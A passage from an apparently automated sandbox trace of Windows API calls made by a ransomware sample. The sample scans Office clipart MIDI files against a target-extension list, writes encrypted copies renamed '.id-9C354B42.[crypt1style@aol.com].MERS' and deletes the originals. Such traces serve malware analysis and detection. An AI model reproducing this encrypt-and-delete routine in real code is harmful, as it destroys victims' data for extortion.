returned -1 [0262.337] lstrlenW (lpString=".7z") returned 3 [0262.337] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.337] lstrlenW (lpString=".dbf") returned 4 [0262.337] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.337] lstrlenW (lpString=".1cd") returned 4 [0262.338] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.338] lstrlenW (lpString=".jpg") returned 4 [0262.338] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.338] lstrlenW (lpString=".doc") returned 4 [0262.338] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.338] lstrlenW (lpString=".docx") returned 5 [0262.338] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.338] lstrlenW (lpString=".pdf") returned 4 [0262.338] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.338] lstrlenW (lpString=".xls") returned 4 [0262.338] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.338] lstrlenW (lpString=".xlsx") returned 5 [0262.338] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.338] lstrlenW (lpString=".ppt") returned 4 [0262.338] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.338] lstrlenW (lpString=".zip") returned 4 [0262.338] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.338] lstrlenW (lpString=".rar") returned 4 [0262.338] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.338] lstrlenW (lpString=".bz2") returned 4 [0262.338] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.338] lstrlenW (lpString=".7z") returned 3 [0262.338] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.338] lstrlenW (lpString=".dbf") returned 4 [0262.338] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.339] lstrlenW (lpString=".1cd") returned 4 [0262.339] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0262.339] lstrlenW (lpString=".jpg") returned 4 [0262.339] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.339] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0262.339] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0262.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0262.414] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=5968) returned 1 [0262.414] CloseHandle (hObject=0x3b4) returned 1 [0262.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0263.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0263.740] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0263.740] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0263.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.741] GetLastError () returned 0x0 [0263.741] ReadFile (in: hFile=0x320, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x1750, lpOverlapped=0x0) returned 1 [0263.868] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1760, lpOverlapped=0x0) returned 1 [0263.869] ReadFile (in: hFile=0x320, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0263.869] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.869] SetEndOfFile (hFile=0x3a8) returned 1 [0264.133] CloseHandle (hObject=0x3a8) returned 1 [0264.133] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0264.133] SetEndOfFile (hFile=0x320) returned 1 [0264.917] CloseHandle (hObject=0x320) returned 1 [0264.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0264.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.920] lstrlenW (lpString=".doc") returned 4 [0264.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString=".docx") returned 5 [0264.921] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.921] lstrlenW (lpString=".pdf") returned 4 [0264.921] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.921] lstrlenW (lpString=".xls") returned 4 [0264.921] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.921] lstrlenW (lpString=".xlsx") returned 5 [0264.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.921] lstrlenW (lpString=".ppt") returned 4 [0264.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString=".zip") returned 4 [0264.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.921] lstrlenW (lpString=".rar") returned 4 [0264.921] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.921] lstrlenW (lpString=".bz2") returned 4 [0264.921] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString=".7z") returned 3 [0264.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString=".dbf") returned 4 [0264.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString=".1cd") returned 4 [0264.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString=".jpg") returned 4 [0264.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.921] lstrlenW (lpString=".doc") returned 4 [0264.921] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.921] lstrlenW (lpString=".docx") returned 5 [0264.921] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.921] lstrlenW (lpString=".pdf") returned 4 [0264.922] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.922] lstrlenW (lpString=".xls") returned 4 [0264.922] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.922] lstrlenW (lpString=".xlsx") returned 5 [0264.922] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.922] lstrlenW (lpString=".ppt") returned 4 [0264.922] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.922] lstrlenW (lpString=".zip") returned 4 [0264.922] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.922] lstrlenW (lpString=".rar") returned 4 [0264.922] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.922] lstrlenW (lpString=".bz2") returned 4 [0264.922] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0264.922] lstrlenW (lpString=".7z") returned 3 [0264.922] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.922] lstrlenW (lpString=".dbf") returned 4 [0264.922] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.922] lstrlenW (lpString=".1cd") returned 4 [0264.922] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0264.922] lstrlenW (lpString=".jpg") returned 4 [0264.922] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.922] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0264.922] lstrlenW (lpString="PARNT_04.MID") returned 12 [0264.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0265.008] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=6070) returned 1 [0265.008] CloseHandle (hObject=0x3ac) returned 1 [0265.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0265.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0265.008] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0265.008] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0265.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0265.929] GetLastError () returned 0x0 [0265.929] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x17b6, lpOverlapped=0x0) returned 1 [0266.066] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0266.067] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0266.067] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.067] SetEndOfFile (hFile=0x3b4) returned 1 [0266.069] CloseHandle (hObject=0x3b4) returned 1 [0266.069] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.069] SetEndOfFile (hFile=0x3ac) returned 1 [0266.072] CloseHandle (hObject=0x3ac) returned 1 [0266.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0266.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.072] lstrlenW (lpString=".doc") returned 4 [0266.072] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.072] lstrlenW (lpString=".docx") returned 5 [0266.072] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0266.072] lstrlenW (lpString=".pdf") returned 4 [0266.072] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.072] lstrlenW (lpString=".xls") returned 4 [0266.072] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.072] lstrlenW (lpString=".xlsx") returned 5 [0266.072] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0266.072] lstrlenW (lpString=".ppt") returned 4 [0266.073] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString=".zip") returned 4 [0266.073] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.073] lstrlenW (lpString=".rar") returned 4 [0266.073] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.073] lstrlenW (lpString=".bz2") returned 4 [0266.073] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.073] lstrlenW (lpString=".7z") returned 3 [0266.073] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString=".dbf") returned 4 [0266.073] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString=".1cd") returned 4 [0266.073] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString=".jpg") returned 4 [0266.073] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.073] lstrlenW (lpString=".doc") returned 4 [0266.073] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.073] lstrlenW (lpString=".docx") returned 5 [0266.073] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0266.074] lstrlenW (lpString=".pdf") returned 4 [0266.074] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.074] lstrlenW (lpString=".xls") returned 4 [0266.074] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.074] lstrlenW (lpString=".xlsx") returned 5 [0266.074] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0266.074] lstrlenW (lpString=".ppt") returned 4 [0266.074] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.074] lstrlenW (lpString=".zip") returned 4 [0266.074] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.074] lstrlenW (lpString=".rar") returned 4 [0266.074] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.074] lstrlenW (lpString=".bz2") returned 4 [0266.074] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.074] lstrlenW (lpString=".7z") returned 3 [0266.074] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.074] lstrlenW (lpString=".dbf") returned 4 [0266.074] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.074] lstrlenW (lpString=".1cd") returned 4 [0266.074] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0266.074] lstrlenW (lpString=".jpg") returned 4 [0266.074] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.075] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.075] lstrlenW (lpString="PARNT_09.MID") returned 12 [0266.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.075] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=6764) returned 1 [0266.075] CloseHandle (hObject=0x3ac) returned 1 [0266.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0266.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.075] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.075] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.076] GetLastError () returned 0x0 [0266.076] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0266.100] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0266.100] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0266.100] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.100] SetEndOfFile (hFile=0x3b4) returned 1 [0266.100] CloseHandle (hObject=0x3b4) returned 1 [0266.100] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.101] SetEndOfFile (hFile=0x3ac) returned 1 [0266.858] CloseHandle (hObject=0x3ac) returned 1 [0266.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString=".doc") returned 4 [0266.883] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.883] lstrlenW (lpString=".docx") returned 5 [0266.883] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0266.883] lstrlenW (lpString=".pdf") returned 4 [0266.883] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.883] lstrlenW (lpString=".xls") returned 4 [0266.883] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.883] lstrlenW (lpString=".xlsx") returned 5 [0266.883] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0266.883] lstrlenW (lpString=".ppt") returned 4 [0266.883] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString=".zip") returned 4 [0266.883] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.883] lstrlenW (lpString=".rar") returned 4 [0266.883] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.883] lstrlenW (lpString=".bz2") returned 4 [0266.883] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.883] lstrlenW (lpString=".7z") returned 3 [0266.883] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString=".dbf") returned 4 [0266.883] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString=".1cd") returned 4 [0266.883] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.883] lstrlenW (lpString=".jpg") returned 4 [0266.883] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 